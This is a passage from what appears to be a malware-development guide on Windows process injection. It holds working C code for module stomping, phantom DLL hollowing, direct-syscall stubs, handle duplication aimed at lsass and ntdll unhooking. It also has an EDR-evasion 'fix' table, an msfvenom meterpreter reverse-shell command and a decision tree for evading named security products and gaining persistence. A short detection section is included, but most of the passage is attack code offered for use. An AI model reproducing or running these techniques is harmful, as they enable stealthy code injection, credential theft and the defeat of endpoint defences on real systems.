Step 1: Find a non-critical, loadable DLL in target
        (e.g., xpsservices.dll — rarely used, present on most systems)

Step 2: Enumerate loaded modules in target → find .text section base + size

Step 3: VirtualProtectEx → Change .text section to PAGE_READWRITE

Step 4: WriteProcessMemory → Overwrite .text section with shellcode

Step 5: VirtualProtectEx → Restore PAGE_EXECUTE_READ

Step 6: CreateRemoteThread → point to shellcode (inside legitimate DLL mapping)

Result:
├─ Shellcode lives at: 0x7ffb30001000
├─ Memory scanner queries: what maps to this address?
│   → ntdll.dll (or target DLL) .text section
└─ Scanner thinks: legitimate code → no alert

17.2 C Implementation

// module_stomp.c — Module Stomping injection

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

// Find base address of a module in target process
ULONG_PTR GetRemoteModuleBase(DWORD pid, const char* modName) {
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE |
                                             TH32CS_SNAPMODULE32, pid);
    if (hSnap == INVALID_HANDLE_VALUE) return 0;

    MODULEENTRY32 me = { sizeof(me) };
    ULONG_PTR base = 0;

    if (Module32First(hSnap, &me)) {
        do {
            if (_stricmp(me.szModule, modName) == 0) {
                base = (ULONG_PTR)me.modBaseAddr;
                break;
            }
        } while (Module32Next(hSnap, &me));
    }
    CloseHandle(hSnap);
    return base;
}

BOOL ModuleStompInject(DWORD pid, const char* stompeeDll,
                        unsigned char* shellcode, SIZE_T scLen) {
    HANDLE  hProc  = NULL;
    DWORD   old;
    ULONG_PTR modBase;

    hProc = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
                        PROCESS_CREATE_THREAD, FALSE, pid);
    if (!hProc) return FALSE;

    // Step 1: Force target to load the DLL we want to stomp
    // (Skip if already loaded — check GetRemoteModuleBase first)
    modBase = GetRemoteModuleBase(pid, stompeeDll);
    if (!modBase) {
        // Load it first via LoadLibraryA injection (see §11)
        printf("[-] %s not loaded in target — load it first\n", stompeeDll);
        CloseHandle(hProc);
        return FALSE;
    }
    printf("[+] %s base in target: 0x%llx\n", stompeeDll, (ULONG64)modBase);

    // Step 2: Find .text section — read PE headers from target
    // Simplified: stomp at base + header offset (real code parses sections)
    ULONG_PTR textSection = modBase + 0x1000;  // Typical .text offset — parse properly

    // Step 3: Change .text to writable
    VirtualProtectEx(hProc, (LPVOID)textSection, scLen,
                      PAGE_READWRITE, &old);

    // Step 4: Write shellcode into .text
    WriteProcessMemory(hProc, (LPVOID)textSection, shellcode, scLen, NULL);
    printf("[+] Stomped %s .text @ 0x%llx\n", stompeeDll, (ULONG64)textSection);

    // Step 5: Restore RX
    VirtualProtectEx(hProc, (LPVOID)textSection, scLen,
                      PAGE_EXECUTE_READ, &old);

    // Step 6: Execute via remote thread pointing INTO the DLL's mapped memory
    HANDLE hThread = CreateRemoteThread(hProc, NULL, 0,
                                         (LPTHREAD_START_ROUTINE)textSection,
                                         NULL, 0, NULL);
    if (hThread) {
        printf("[+] Remote thread executing from DLL mapping\n");
        WaitForSingleObject(hThread, 3000);
        CloseHandle(hThread);
    }

    CloseHandle(hProc);
    return TRUE;
}

[OPSEC] Module stomping evades memory scanners that look for executable memory not backed by a file on disk. It's defeated by scanners that compare file-backed memory against the actual file contents (known as "module integrity checking").


18. Phantom DLL Hollowing

What it means: A combination of module stomping and hollowing. Load a DLL that never runs (e.g., a rarely-called DLL), hollow its .text section, write shellcode, and execute. The shellcode executes from a memory address that appears to belong to a valid, signed Microsoft DLL.

18.1 Key APIs & Flow

// Phantom DLL Hollowing — key concepts

// Step 1: Find a DLL that:
//   - Is present on the system
//   - Is NOT already loaded in target
//   - Has enough .text section space for shellcode
//   - Ideally: signed Microsoft DLL, rarely used

// Good candidates:
//   xpsservices.dll  (~1.7MB — large .text)
//   msrle32.dll      (~130KB)
//   msvidc32.dll     (~100KB)

// Step 2: Load it into your own process to map/read headers
HMODULE hStompee = LoadLibraryExA("xpsservices.dll", NULL,
                                   DONT_RESOLVE_DLL_REFERENCES);
// DONT_RESOLVE_DLL_REFERENCES = load without executing DllMain

// Step 3: Parse .text section in your local copy
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hStompee;
PIMAGE_NT_HEADERS pNt  = (PIMAGE_NT_HEADERS)((ULONG_PTR)pDos + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);

ULONG_PTR textRVA  = 0;
SIZE_T    textSize = 0;
for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
    if (memcmp(pSec[i].Name, ".text", 5) == 0) {
        textRVA  = pSec[i].VirtualAddress;
        textSize = pSec[i].Misc.VirtualSize;
        break;
    }
}

ULONG_PTR localTextBase = (ULONG_PTR)hStompee + textRVA;

// Step 4: Write shellcode into local .text, then copy whole DLL to remote
// (Target sees the DLL with shellcode already baked in)
DWORD old;
VirtualProtect((LPVOID)localTextBase, shellcodeLen, PAGE_READWRITE, &old);
memcpy((void*)localTextBase, shellcode, shellcodeLen);
VirtualProtect((LPVOID)localTextBase, shellcodeLen, PAGE_EXECUTE_READ, &old);

// Then inject this modified mapping into target process...

19. NTDLL Direct Syscall Injection

What it means: Instead of calling Win32 APIs (which EDR hooks in userland), you invoke the Windows kernel directly via syscall stubs. By implementing your own syscall dispatcher, you bypass all user-mode hooks that EDR places on ntdll.dll.

19.1 How User-Mode Hooks Work (What We're Bypassing)

Normal API call (hooked by EDR):
──────────────────────────────────────────────────
Your Code → NtAllocateVirtualMemory (ntdll.dll)
               │
               └─ [EDR HOOK] JMP → EDR.dll!ScanAndDecide()
                                       │
                               [EDR scans params]
                                       │
                               EDR.dll → NtAllocateVirtualMemory
                                              │
                                          syscall → kernel

Direct Syscall (bypasses EDR hook entirely):
──────────────────────────────────────────────────
Your Code → custom_syscall_stub (your own asm)
               │
               └─ mov r10, rcx      ; syscall calling convention
                  mov eax, <SSN>    ; System Service Number
                  syscall           ; Direct kernel entry — no ntdll hook!
                      │
                  kernel → execute

19.2 Syscall Stub Implementation (x64 Assembly + C)

// syscall_inject.c — Direct syscall injection bypassing NTDLL hooks
// Uses inline assembly (MSVC intrinsics) or .asm file for syscall stubs

#include <windows.h>
#include <stdio.h>

// SSNs (System Service Numbers) — these change per Windows version!
// Must be resolved dynamically at runtime (see §19.3)
// Hardcoded examples for Windows 10 21H2 x64:
#define SSN_NtAllocateVirtualMemory  0x0018
#define SSN_NtWriteVirtualMemory     0x003A
#define SSN_NtCreateThreadEx         0x00C1
#define SSN_NtProtectVirtualMemory   0x0050

// ─── Syscall stubs (x64 assembly) ────────────────────────────
// In MASM (.asm file) linked with the project:
/*
NtAllocateVirtualMemory PROC
    mov r10, rcx
    mov eax, 18h        ; SSN (change per OS version)
    syscall
    ret
NtAllocateVirtualMemory ENDP

NtWriteVirtualMemory PROC
    mov r10, rcx
    mov eax, 3Ah
    syscall
    ret
NtWriteVirtualMemory ENDP
*/

// ─── Alternative: HellsGate / SysWhispers pattern ────────────
// Dynamically read SSN from NTDLL at runtime (reads syscall stub bytes)

DWORD GetSyscallNumber(const char* funcName) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PVOID   pFunc  = GetProcAddress(hNtdll, funcName);
    if (!pFunc) return 0;

    // Read the syscall stub:
    // mov r10, rcx   → 4C 8B D1
    // mov eax, XXXX  → B8 XX XX 00 00
    // syscall        → 0F 05
    // ret            → C3

    PBYTE pb = (PBYTE)pFunc;

    // If ntdll is NOT hooked: bytes at offset 4 are the SSN
    if (pb[0] == 0x4C && pb[1] == 0x8B && pb[2] == 0xD1 &&
        pb[3] == 0xB8) {
        DWORD ssn = *(DWORD*)(pb + 4);
        printf("[+] %s SSN: 0x%04lx\n", funcName, ssn);
        return ssn;
    }

    // If hooked (JMP at byte 0): use Hell's Gate — scan neighboring stubs
    // Look for the nearest unhooked syscall stub to extract SSN
    // (advanced — see SysWhispers3 implementation)
    printf("[!] %s appears hooked — use neighbor scanning\n", funcName);
    return 0;
}

int main() {
    // Resolve SSNs at runtime
    DWORD ssnAlloc   = GetSyscallNumber("NtAllocateVirtualMemory");
    DWORD ssnWrite   = GetSyscallNumber("NtWriteVirtualMemory");
    DWORD ssnProtect = GetSyscallNumber("NtProtectVirtualMemory");
    DWORD ssnThread  = GetSyscallNumber("NtCreateThreadEx");

    printf("[*] Dynamic SSN Resolution:\n");
    printf("    NtAllocateVirtualMemory : 0x%04lx\n", ssnAlloc);
    printf("    NtWriteVirtualMemory    : 0x%04lx\n", ssnWrite);
    printf("    NtProtectVirtualMemory  : 0x%04lx\n", ssnProtect);
    printf("    NtCreateThreadEx        : 0x%04lx\n", ssnThread);

    // Use SysWhispers2/3 generated headers for the actual injection
    // (generates .h + .asm with correct stubs for current OS)
    return 0;
}

19.3 SysWhispers — Automated SSN Resolution

# SysWhispers3 — auto-generate syscall stubs for any Windows version
# https://github.com/klezVirus/SysWhispers3

# Install
git clone https://github.com/klezVirus/SysWhispers3
cd SysWhispers3
pip install -r requirements.txt

# Generate stubs for specific functions
python syswhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtProtectVirtualMemory \
    --out-file syscalls \
    --arch x64 \
    --compiler msvc

# Output: syscalls.h + syscalls.asm
# Include in project:
# - Add syscalls.asm to project (MASM)
# - #include "syscalls.h"
# - Replace Win32 API calls with Nt* variants from the header

# Compile with generated files
cl.exe inject.c syscalls.asm /Fe:inject.exe /link

# Alternative: SysWhispers2 (older, simpler)
git clone https://github.com/jthuraisamy/SysWhispers2
python syswhispers.py -p all -o syscalls

[OPSEC] Direct syscalls bypass user-mode hooks but NOT kernel callbacks. ETW (Microsoft-Windows-Threat-Intelligence) still fires kernel events for NtCreateThreadEx and NtAllocateVirtualMemory regardless of how the syscall was invoked.


20. Handle Enumeration & Handle Duplication Injection

What it means: Rather than opening a new handle to a target process (triggering NtOpenProcess alerts), find a process that already has a handle to the target, then duplicate that handle into your own process. No NtOpenProcess call needed — stealthy.

20.1 How It Works

Handle Duplication Attack:
──────────────────────────────────────────────────────────
Normal:  Your process → NtOpenProcess(target PID) → handle
         [EDR: NtOpenProcess hook fires — who just opened lsass?]

Duplication:
         Step 1: NtQuerySystemInformation(SystemHandleInformation)
                 → Find ALL open handles across ALL processes
                 → Look for: handle to target process (e.g., lsass.exe)

         Step 2: Identify which process P holds that handle
                 (e.g., "services.exe has handle 0x1F0 to lsass.exe")

         Step 3: OpenProcess(PROCESS_DUP_HANDLE, ..., services.exe PID)
                 [Lower suspicion — opening services, not lsass]

         Step 4: DuplicateHandle(services.exe_handle, target_handle,
                                  GetCurrentProcess(), &newHandle, ...)
                 → newHandle now points to lsass.exe in YOUR process
                 → No NtOpenProcess(lsass) ever called

20.2 C Implementation — Handle Duplication

// handle_dup.c — Duplicate an existing handle to a target process

#include <windows.h>
#include <stdio.h>

// SYSTEM_HANDLE_INFORMATION structures (from ntdll internals)
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
    USHORT UniqueProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR  ObjectTypeIndex;
    UCHAR  HandleAttributes;
    USHORT HandleValue;
    PVOID  Object;
    ULONG  GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG                             NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO    Handles[1];
} SYSTEM_HANDLE_INFORMATION;

#define SystemHandleInformation 0x10

HANDLE DuplicateTargetHandle(DWORD targetPid, DWORD desiredAccess) {
    typedef NTSTATUS(NTAPI* pNtQSI)(ULONG, PVOID, ULONG, PULONG);
    pNtQSI NtQSI = (pNtQSI)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");

    ULONG   bufSize = 0x100000;
    PVOID   pBuf    = NULL;
    NTSTATUS st;

    do {
        pBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize);
        st   = NtQSI(SystemHandleInformation, pBuf, bufSize, &bufSize);
        if (st == 0xC0000004L) {  // STATUS_INFO_LENGTH_MISMATCH
            HeapFree(GetProcessHeap(), 0, pBuf);
            bufSize *= 2;
            pBuf = NULL;
        }
    } while (st == 0xC0000004L);

    if (st != 0) { printf("[-] NtQSI failed\n"); return NULL; }

    SYSTEM_HANDLE_INFORMATION* pHI = (SYSTEM_HANDLE_INFORMATION*)pBuf;

    for (ULONG i = 0; i < pHI->NumberOfHandles; i++) {
        SYSTEM_HANDLE_TABLE_ENTRY_INFO* e = &pHI->Handles[i];

        // Filter: look for handles with PROCESS_ALL_ACCESS or similar
        // that point to our target PID
        // (Type check: object type 0x07 = Process on most Windows versions)
        if (e->ObjectTypeIndex != 7) continue;  // Not a process handle

        // Open the process that HOLDS the handle
        HANDLE hHolder = OpenProcess(PROCESS_DUP_HANDLE, FALSE,
                                      e->UniqueProcessId);
        if (!hHolder) continue;

        // Try to duplicate the handle
        HANDLE hDup = NULL;
        BOOL ok = DuplicateHandle(
            hHolder,
            (HANDLE)(ULONG_PTR)e->HandleValue,
            GetCurrentProcess(),
            &hDup,
            desiredAccess,
            FALSE,
            0);

        CloseHandle(hHolder);

        if (!ok || !hDup) continue;

        // Verify this duplicated handle points to our target PID
        if (GetProcessId(hDup) == targetPid) {
            printf("[+] Found handle to PID %lu via PID %lu (handle 0x%04x)\n",
                   targetPid, e->UniqueProcessId, e->HandleValue);
            HeapFree(GetProcessHeap(), 0, pBuf);
            return hDup;
        }
        CloseHandle(hDup);
    }

    HeapFree(GetProcessHeap(), 0, pBuf);
    printf("[-] No suitable handle found for PID %lu\n", targetPid);
    return NULL;
}

int main() {
    // Get handle to lsass (PID 4 in example) without calling OpenProcess(lsass)
    DWORD lsassPid = 4;  // Replace with actual lsass PID from enumeration

    HANDLE hLsass = DuplicateTargetHandle(lsassPid,
                        PROCESS_VM_READ | PROCESS_QUERY_INFORMATION);
    if (hLsass) {
        printf("[+] Got handle to lsass: 0x%p\n", hLsass);
        // Proceed with ReadProcessMemory, injection, etc.
        CloseHandle(hLsass);
    }
    return 0;
}

[OPSEC] Handle duplication is used heavily in credential-dumping tools (Mimikatz alternatives) to access lsass without directly calling OpenProcess(lsass). It generates NtQuerySystemInformation calls (noisy) and DuplicateHandle syscalls.


21. Tools Reference

Enumeration Tools

Tool Purpose URL
Process Hacker GUI process inspector, handles, DLLs, threads https://processhacker.sourceforge.io
Process Explorer Sysinternals — deep process tree + DLL view https://learn.microsoft.com/sysinternals
Process Monitor Real-time API call logging per process https://learn.microsoft.com/sysinternals
ListDLLs List all DLLs loaded in processes Sysinternals
Handle List open handles across all processes Sysinternals
pslist Command-line process lister (Sysinternals) Sysinternals
ThreatCheck Find AV-triggering bytes in your injector https://github.com/rasta-mouse/ThreatCheck

Injection Frameworks & PoCs

Tool Technique URL
SharpInjector C# — classic injection framework GitHub
Donut PE/shellcode generation + injection https://github.com/TheWover/donut
Pinjectra Multiple injection techniques library https://github.com/SafeBreach-Labs/pinjectra
SysWhispers2/3 Direct syscall stub generator https://github.com/klezVirus/SysWhispers3
Hells Gate Dynamic SSN resolution https://github.com/am0nsec/HellsGate
Tartarus Gate SSN via syscall from disk https://github.com/trickster0/TartarusGate
Shellcode Reflective DLL Injection sRDI — convert DLL to shellcode https://github.com/monoxgas/sRDI
Cobalt Strike Commercial C2 with injection primitives (commercial)
Havoc Open C2 — process injection modules https://github.com/HavocFramework/Havoc

PowerShell Tooling

# PowerSploit / PowerShellMafia — Invoke-ReflectivePEInjection
Import-Module .\PowerSploit\CodeExecution\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath .\payload.dll -ProcId 1234

# Get all process handles (requires admin)
Get-Process | Select-Object Id, Name, Handles, MainWindowTitle

# Find processes with network connections
Get-NetTCPConnection | ForEach-Object {
    $proc = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
    [PSCustomObject]@{
        PID        = $_.OwningProcess
        Name       = $proc.Name
        LocalPort  = $_.LocalPort
        RemoteAddr = $_.RemoteAddress
        State      = $_.State
    }
} | Sort-Object PID | Format-Table

Useful Commands

:: List all running processes (basic)
tasklist

:: List with full path and PID
tasklist /v /fo csv

:: Detailed process + module info
wmic process get Name,ProcessId,ParentProcessId,ExecutablePath,CommandLine

:: Find specific process
tasklist | findstr /i "svchost"

:: Kill process by PID
taskkill /PID 1234 /F

:: Process list with integrity levels (Sysinternals)
pslist -x

:: List DLLs in a process
listdlls 1234

:: Open handles in a process
handle -p 1234

22. Detection & Evasion

22.1 Common Detection Patterns

EDR / AV Detection Strategies for Process Injection:

1. API Sequence Detection
   ├─ Alert: OpenProcess → VirtualAllocEx(RWX) → WriteProcessMemory → CreateRemoteThread
   ├─ Alert: OpenProcess → WriteProcessMemory → CreateRemoteThread (DLL inject pattern)
   └─ Alert: OpenProcess(PROCESS_ALL_ACCESS) on SYSTEM processes from user process

2. Memory Anomaly Detection
   ├─ Executable memory not backed by a file on disk (classic shellcode)
   ├─ RWX pages in a process (PAGE_EXECUTE_READWRITE)
   ├─ MZ header in executable heap allocation
   └─ Mismatched module hash (file on disk ≠ in-memory image)

3. Behavioral / Heuristic
   ├─ Process spawning then immediately doing OpenProcess
   ├─ Rapid process enumeration (many NtOpenProcess in a loop)
   ├─ Thread created with no corresponding image module
   └─ SuspendThread + SetThreadContext + ResumeThread pattern

4. Kernel / ETW
   ├─ Microsoft-Windows-Threat-Intelligence ETW provider
   ├─ KERNEL_THREATINT_TASK_ALLOCVM_REMOTE event
   ├─ KERNEL_THREATINT_TASK_WRITEVM_REMOTE event
   └─ KERNEL_THREATINT_TASK_SETTHREADCONTEXT event

22.2 Evasion Techniques

Evasion Strategies per Detection Vector:

RWX Memory → Detected
├─ Fix: RW → Write → VirtualProtectEx(RX) — two-step, avoids RWX
└─ Fix: Module Stomping — reuse existing RX module pages

CreateRemoteThread → Detected
├─ Fix: QueueUserAPC (APC injection — no new thread)
├─ Fix: Thread Hijacking (SetThreadContext on existing thread)
└─ Fix: NtCreateThreadEx (lower-level but still monitored)

User-mode API hooks → Detected
├─ Fix: Direct Syscalls (SysWhispers) — bypass NTDLL hooks entirely
└─ Fix: Fresh NTDLL map — map ntdll.dll from disk into your process
         (EDR hooks in-memory ntdll, clean disk copy has no hooks)

OpenProcess(PROCESS_ALL_ACCESS) → Detected
├─ Fix: Request minimum rights only
├─ Fix: Handle Duplication — don't call OpenProcess on the target at all
└─ Fix: Use PROCESS_DUP_HANDLE on a third process + DuplicateHandle

Process Enumeration → Detected
├─ Fix: NtQuerySystemInformation over Toolhelp32 (less monitored)
└─ Fix: WMI enumeration (different code path, less baselining)

22.3 Fresh NTDLL Mapping (Unhooking)

// Load a clean copy of ntdll.dll from disk, bypassing EDR's in-memory hooks
// EDR hooks live in the loaded-in-memory ntdll — disk copy is clean

#include <windows.h>
#include <stdio.h>

BOOL UnhookNtdll() {
    // Step 1: Open ntdll.dll on disk
    HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll",
                                GENERIC_READ, FILE_SHARE_READ,
                                NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return FALSE;

    // Step 2: Create file mapping
    HANDLE hMap = CreateFileMappingA(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
    if (!hMap) { CloseHandle(hFile); return FALSE; }

    // Step 3: Map into memory
    LPVOID pFreshNtdll = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
    if (!pFreshNtdll) {
        CloseHandle(hMap); CloseHandle(hFile);
        return FALSE;
    }

    // Step 4: Get current (hooked) ntdll base
    HMODULE hHookedNtdll = GetModuleHandleA("ntdll.dll");

    // Step 5: Parse .text section of fresh ntdll
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pFreshNtdll;
    PIMAGE_NT_HEADERS pNt  = (PIMAGE_NT_HEADERS)
                              ((ULONG_PTR)pFreshNtdll + pDos->e_lfanew);
    PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);

    for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
        if (memcmp(pSec[i].Name, ".text", 5) == 0) {
            // Step 6: Overwrite in-memory .text with clean disk bytes
            LPVOID dest = (LPVOID)((ULONG_PTR)hHookedNtdll + pSec[i].VirtualAddress);
            LPVOID src  = (LPVOID)((ULONG_PTR)pFreshNtdll  + pSec[i].VirtualAddress);
            SIZE_T size = pSec[i].Misc.VirtualSize;

            DWORD old;
            VirtualProtect(dest, size, PAGE_EXECUTE_READWRITE, &old);
            memcpy(dest, src, size);
            VirtualProtect(dest, size, old, &old);

            printf("[+] ntdll .text section restored from disk (%zu bytes)\n", size);
            break;
        }
    }

    UnmapViewOfFile(pFreshNtdll);
    CloseHandle(hMap);
    CloseHandle(hFile);
    return TRUE;
}

[DETECT] Overwriting ntdll's .text section is itself a major behavioral IOC. EDRs with kernel protection can detect when their hooks are removed. Use this only in combination with other evasion.


23. Comparison Matrix

Technique Complexity Creates Remote Thread EDR Hook Bypass Stealth Stability Notes
Classic Inject Low Yes No Low High Most detected, best to learn from
DLL Injection Low Yes No Low High LoadLibraryA pattern well-known
Process Hollowing High Via resume Partial Medium Medium Breaks on ASLR without reloc fixup
Thread Hijacking Medium No No Medium Low May crash target if hijacked thread is critical
APC Injection Medium No No Medium Medium Only fires if thread enters alertable wait
Early Bird APC Medium No High High High Best for spawned target processes
Module Stomping High Yes Medium High Medium Evades non-backed memory detection
Phantom DLL Hollow High Yes High Very High Medium Requires large enough DLL .text
Doppelgänging Very High Yes High High Low Largely patched on modern Windows
Direct Syscalls High Optional Very High High High Still visible via kernel ETW
Handle Duplication High No Medium High High No OpenProcess on real target

24. Cheat Sheet

Quick Workflow — Enumerate → Select → Inject

# Step 1: Enumerate (PowerShell)
Get-CimInstance -ClassName Win32_Process |
    Select-Object ProcessId, ParentProcessId, Name |
    Sort-Object ProcessId | Format-Table -AutoSize

# Step 2: Verify architecture
Get-Process -Id 1234 | Select-Object Id, Name
# 32-bit vs 64-bit: check via IsWow64Process in C or:
(Get-Process -Id 1234).StartInfo.EnvironmentVariables["PROCESSOR_ARCHITECTURE"]

# Step 3: Check integrity level (requires SysInternals or custom)
# With Process Hacker: right-click process → Properties → Security

# Step 4: Generate shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 -f c -o shellcode.h

# Step 5: Pick technique based on environment
# EDR present?  → Early Bird APC + Direct Syscalls
# No EDR?       → Classic inject or DLL inject
# Need stealth? → Module Stomping + Handle Dup

# Step 6: Compile injector
cl.exe injector.c /Fe:injector.exe                           # MSVC
x86_64-w64-mingw32-gcc injector.c -o injector.exe -lntdll   # MinGW cross-compile

# Step 7: Run
.\injector.exe 1234    # PID of target

Process Enumeration One-Liners

# All processes + owners
Get-CimInstance Win32_Process | % { $o=$_.GetOwner(); "$($_.ProcessId)`t$($_.Name)`t$($o.Domain)\$($o.User)" }

# Find processes with open TCP connections
Get-NetTCPConnection -State Established | Select OwningProcess,LocalPort,RemoteAddress | Sort OwningProcess

# Specific process info
Get-Process chrome | Select Id,Name,Path,CPU,WorkingSet

# Kill by name
Stop-Process -Name notepad -Force
:: WMIC — detailed process list
wmic process get ProcessId,ParentProcessId,Name,ExecutablePath,CommandLine /format:csv

:: Find svchost instances with parameters
wmic process where "name='svchost.exe'" get ProcessId,CommandLine

:: Netstat with PIDs
netstat -ano

:: Map PID to process
tasklist /FI "PID eq 1234"

Injection Decision Tree

Planning a process injection?
│
├─ What is your goal?
│   ├─ Persistence in user session → explorer.exe (classic or APC)
│   ├─ Persistence across sessions → svchost.exe (Early Bird or APC)
│   └─ Privilege escalation context → find SYSTEM process (handle dup)
│
├─ EDR present?
│   ├─ CrowdStrike / SentinelOne → Direct Syscalls + Module Stomping
│   ├─ Windows Defender only → APC or Early Bird
│   └─ None → Classic inject or DLL inject
│
├─ Need to avoid NtOpenProcess alert?
│   └─ Yes → Handle Duplication (no direct OpenProcess on target)
│
├─ Target spawned by you or existing?
│   ├─ Spawned by you (controlled) → Early Bird APC
│   └─ Existing process → APC Injection or Thread Hijacking
│
├─ Memory scanner present?
│   ├─ Yes → Module Stomping or Phantom DLL Hollowing
│   └─ No → Classic inject with RW→RX
│
└─ OPSEC requirement?
    ├─ High → Module Stomp + Direct Syscalls + Handle Dup
    ├─ Medium → Early Bird APC + RW→RX
    └─ Low (lab/CTF) → Classic VirtualAllocEx + CreateRemoteThread

Windows API Quick Reference

Process Management:
  CreateProcess        → Spawn new process (optionally suspended)
  OpenProcess          → Get handle to existing process
  TerminateProcess     → Kill process
  GetCurrentProcess    → Handle to own process
  GetProcessId         → PID from handle

Memory Operations:
  VirtualAllocEx       → Alloc memory in remote process
  VirtualFreeEx        → Free memory in remote process
  WriteProcessMemory   → Write bytes to remote process
  ReadProcessMemory    → Read bytes from remote process
  VirtualProtectEx     → Change page permissions in remote process

Thread Management:
  CreateRemoteThread   → New thread in remote process
  OpenThread           → Get handle to existing thread
  SuspendThread        → Pause a thread
  ResumeThread         → Continue a thread
  GetThreadContext     → Get CPU register state
  SetThreadContext     → Set CPU register state
  QueueUserAPC         → Queue APC to a thread
  NtCreateThreadEx     → Lower-level CreateRemoteThread (ntdll)

Enumeration:
  CreateToolhelp32Snapshot → Snapshot of processes/threads/modules
  Process32First/Next      → Walk process snapshot
  Thread32First/Next       → Walk thread snapshot
  Module32First/Next       → Walk module snapshot
  EnumProcesses            → Array of all PIDs (PSAPI)
  NtQuerySystemInformation → Native system/process info
  DuplicateHandle          → Clone a handle into another process

Utility:
  IsWow64Process       → Check if process is 32-bit on 64-bit OS
  OpenProcessToken     → Get token from process
  AdjustTokenPrivileges → Enable/disable token privileges
  LookupPrivilegeValue → Get LUID for privilege name
  GetModuleHandle      → Get base of loaded module
  GetProcAddress       → Resolve function address in module

References & Tools

Injection Frameworks: - SysWhispers3 — https://github.com/klezVirus/SysWhispers3 (direct syscall generation) - Hells Gate — https://github.com/am0nsec/HellsGate (SSN resolution) - Donut — https://github.com/TheWover/donut (shellcode from PE) - sRDI — https://github.com/monoxgas/sRDI (reflective DLL injection) - Pinjectra — https://github.com/SafeBreach-Labs/pinjectra (multi-technique)

Analysis & Detection: - Process Hacker — https://processhacker.sourceforge.io - ThreatCheck — https://github.com/rasta-mouse/ThreatCheck - pe-sieve — https://github.com/hasherezade/pe-sieve (detect injected code) - Moneta — https://github.com/forrest-orr/moneta (live memory anomaly scanner)

Learning & Research: - Red Team Notes — https://www.ired.team (process injection catalog) - Sektor7 MalDev Courses — https://institute.sektor7.net - VX-Underground — shellcode & injection paper archive - Windows Internals (book) — Mark Russinovich et al. - MSDN: Process Security and Access Rights — https://docs.microsoft.com/windows/win32/procthread/process-security-and-access-rights - ETW Threat Intelligence Provider — https://bmcder.com/blog/a-begginers-all-inclusive-guide-to-etw


← Malware development top ↑